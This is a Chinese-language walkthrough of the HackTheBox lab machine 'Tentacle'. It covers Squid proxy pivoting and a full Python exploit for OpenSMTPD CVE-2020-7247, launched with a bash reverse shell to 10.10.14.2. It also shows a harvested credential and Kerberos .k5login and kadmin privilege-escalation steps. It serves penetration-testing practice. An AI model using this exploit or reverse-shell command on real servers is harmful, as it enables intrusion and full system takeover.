Hackthebox - Tentacle
靶场信息
靶场类型
信息搜集
使用nmap进行端口扫描
nmap -A -sS -sC -sV 10.10.10.224
我们可以看到,开启了22、53、88、3128、9090几个端口
首先让我们看看3128端口吧,这个端口是Squid代理的默认端口,我也是第一次遇到,比较感兴趣
这里报错了,但是给出了一个域名realcorp.htb
经过测试,该域名的用法是使用这个域名来进行子域名枚举,这里使用dnsenum进行枚举
dnsenum –threads 64 –dnsserver 10.10.10.224 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb
ns.realcorp.htb. 259200 IN A 10.197.243.77
proxy.realcorp.htb. 259200 IN CNAME ns.realcorp.htb.
ns.realcorp.htb. 259200 IN A 10.197.243.77
wpad.realcorp.htb. 259200 IN A 10.197.243.31
我们得到了几个域,但是无法直接访问,所以我们使用proxychains4来枚举它
先让我们编辑一下代理配置文件/etc/proxychains.conf
echo “[ProxyList]\nhttp 10.10.10.224 3128\nhttp 127.0.0.1 3128\nhttp 10.197.243.77 3128” > /etc/proxychains.conf
设置好以后,使用nmap进行扫描
proxychains -f /etc/proxychains.conf nmap -sT -Pn 10.197.243.31
经过非常漫长的等待以后,咱们发现开启了这几个端口
我们可以看到,有一个80端口开着,咱们通过代理去访问看看
proxychains firefox wpad.realcorp.htb
无法被访问
咱们添加一个本地解析
echo 10.197.243.31 wpad.realcorp.htb > /etc/hosts
再次访问就提示403了,咱们做一个信息搜集看看
proxychains dirb http://wpad.realcorp.htb/
经过漫长的等待后,并没有获得什么有用的信息。
然后我把着眼点放到了子域名上
wpad,我去google了一下
发现有一个wpad.dat的文件,咱们去试试能不能下载下来
proxychains firefox http://wpad.realcorp.htb/wpad.dat
OK 存在这个文件,并且可以下载
WPAD协议分析及内网渗透利用
https://xz.aliyun.com/t/1739#toc-9
在我自己测试的时候,第一个段10.197.243.0/24这个IP段,咱们可以跳过
在扫描第二个IP段10.241.251.0/24的时候,经过了大量的信息搜集,发现10.241.251.113开启了smtp端口,因为我已经做过一次了,就不做重复用工,直接扫描113这台机器
proxychains -f /etc/proxychains.conf nmap -sT -sV -Pn 10.241.251.113
我们可以看到,113这台机器开启了25端口,也就是smtp服务
漏洞利用
可以看到这里使用的是OpenSMTPD,咱们去搜索一下相关的漏洞
咱们找到了一个CVE-2020-7247
https://www.exploit-db.com/exploits/47984
咱们简单修改一下Exploit
#!/usr/bin/env python3
import socket, time
import sys
if len(sys.argv) < 4:
print(“usage: exploit.py “)
exit()
HOST = sys.argv[1]
PORT = int(sys.argv[2])
rev_shell_cmd = sys.argv[3]
payload = b”””\r\n
#0\r\n
#1\r\n
#2\r\n
#3\r\n
#4\r\n
#5\r\n
#6\r\n
#7\r\n
#8\r\n
#9\r\n
#a\r\n
#b\r\n
#c\r\n
#d\r\n
“”” + rev_shell_cmd.encode() + b”””
.
“””
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except OSError as msg:
s = None
continue
try:
s.connect(sa)
except OSError as msg:
s.close()
s = None
continue
break
if s is None:
print(“Could not open socket”)
sys.exit(1)
with s:
data = s.recv(1024)
print(‘Received’, repr(data))
time.sleep(1)
print(‘SENDING HELO’)
s.send(b”helo test.com\r\n”)
data = s.recv(1024)
print(‘RECIEVED’, repr(data))
s.send(b”MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n”)
time.sleep(1)
data = s.recv(1024)
print(‘RECIEVED’, repr(data))
s.send(b”RCPT TO:j.nakazawa@realcorp.htb\r\n”)
data = s.recv(1024)
print(‘RECIEVED’, repr(data))
s.send(b”DATA\r\n”)
data = s.recv(1024)
print(‘RECIEVED’, repr(data))
s.send(payload)
data = s.recv(1024)
print(‘RECIEVED’, repr(data))
s.send(b”QUIT\r\n”)
data = s.recv(1024)
print(‘RECIEVED’, repr(data))
print(“Exploited”)
s.close()
保存为exploit.py后,本地使用nc开启一个端口监听
nc -nvlp 4444
使用proxychains4代理运行该脚本
proxychains4 python3 expliot.py 10.241.251.113 25 ‘bash -c “exec bash -i &> /dev/tcp/10.10.14.2/4444 <&1”‘
成功拿到一个shell,并且直接就是root权限
但是这个shell是smtp的root,并不是系统的root,咱们还要想办法提权
权限提升
咱们进入/home目录查看一下
有一个j.nakazawa目录,咱们进去找一下有没有用的东西
我们在里面找到一个.msmtprc文件,咱们查看一下
咱们得到了用户j.nakazawa的账号密码
USERNAME = j.nakazawa
PASSWORD = sJB}RM>6Z~64_
但这个用户无法直接登录ssh,所以咱们还得想办法来利用
各位还记得10.10.10.224这台机器上 3128端口中另一个线索吗
没错,就是这个srv01.realcorp.htb,咱们将它加入到hosts里
echo 10.10.10.224 srv01.realcorp.htb > /etc/hosts
记得确保hosts文件中只有这一台主机,输入上面的指令即可
然后我们使用kerbos生成票据进行登录
apt install krb5-user
然后咱们修改对应配置
vim /etc/krb5.conf
[libdefaults]
default_realm = REALCORP.HTB
[realms]
REALCORP.HTB = {
kdc = 10.10.10.224
}
[domain_realm]
srv01.realcorp.htb = REALCORP.HTB
分别填入对应位置即可
然后咱们去生成票据
kinit j.nakazawa
password:sJB}RM>6Z~64_
然后咱们检查一下可用的票据
klist
OK,确定生成成功
然后咱们使用ssh进行登录
登录成功
成功获得user权限的flag
咱们查看一下/etc/crontab
定时任务发现admin定时运行/usr/local/bin/log_backup.sh
咱们查看一下
我们可以看到,是从squid目录复制文件到admin目录,那么我们如果写入认证文件到squid目录,从而使其被复制到admin目录呢?说干就干
现在创建一个名为.k5login的文件,并复制到squid目录下
echo “j.nakazawa@REALCORP.HTB“ >> .k5login
cp .k5login /var/log/squid
然后我们稍等一会儿之后,使用admin的身份来进行登录
OK,成功拿到admin权限
但是我发现,权限还是不够,咱们还不是root权限,还得提。。。
好家伙,这得提三次权也是没谁了
咱们使用klist查看一下/etc/krb5.keytab这个文件
klist -k /etc/krb5.keytab
咱们发现了有很多个Kerberos的加密密钥
咱们使用kadmin进行利用
kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
add_principal root@REALCORP.HTB
然后自己设置一个密码即可
然后使用ksu切换到root即可
成功提权到root
成功拿到root权限的flag
收工睡觉
哎,目前在线的easy和medium都打完了,今天开始只能打hard难度的了,难顶啊